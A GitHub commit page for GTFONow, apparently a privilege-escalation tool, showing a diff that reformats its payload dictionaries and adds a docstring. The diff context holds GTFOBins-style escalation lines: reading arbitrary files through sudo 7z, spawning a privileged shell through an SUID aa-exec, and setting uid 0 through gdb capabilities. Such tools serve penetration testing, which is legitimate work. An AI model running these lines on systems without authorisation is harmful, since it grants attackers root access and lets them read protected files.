Skip to content

Commit

Permalink
Add docstring to function, (and test workflow trigger)
Browse files Browse the repository at this point in the history
  • Loading branch information
Frissi0n committed Dec 3, 2023
1 parent 97f9494 commit 71b020d
Showing 1 changed file with 8 additions and 3 deletions.
11 changes: 8 additions & 3 deletions gtfonow/gtfonow.py
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@
import select

# SUDO_BINS_START
sudo_bins={
sudo_bins = {
"7z": [
"LFILE=file_to_read\nsudo 7z a -ttar -an -so $LFILE | 7z e -ttar -si -so\n"
],
Expand Down Expand Up @@ -1170,7 +1170,7 @@
# SUDO_BINS_END

# SUID_BINS_START
suid_bins={
suid_bins = {
"aa-exec": [
"./aa-exec /bin/sh -p"
],
Expand Down Expand Up @@ -1811,7 +1811,7 @@
# SUID_BINS_END

# CAPABILITIES_START
capabilities={
capabilities = {
"gdb": [
"./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit"
],
Expand Down Expand Up @@ -2591,6 +2591,11 @@ def parse_arguments():


def get_sudo_password():
"""Securely gets the sudo password from the user.
Returns:
str: sudo password.
"""
print("Enter sudo password:")
return getpass.getpass("> ")

Expand Down

0 comments on commit 71b020d

Please sign in to comment.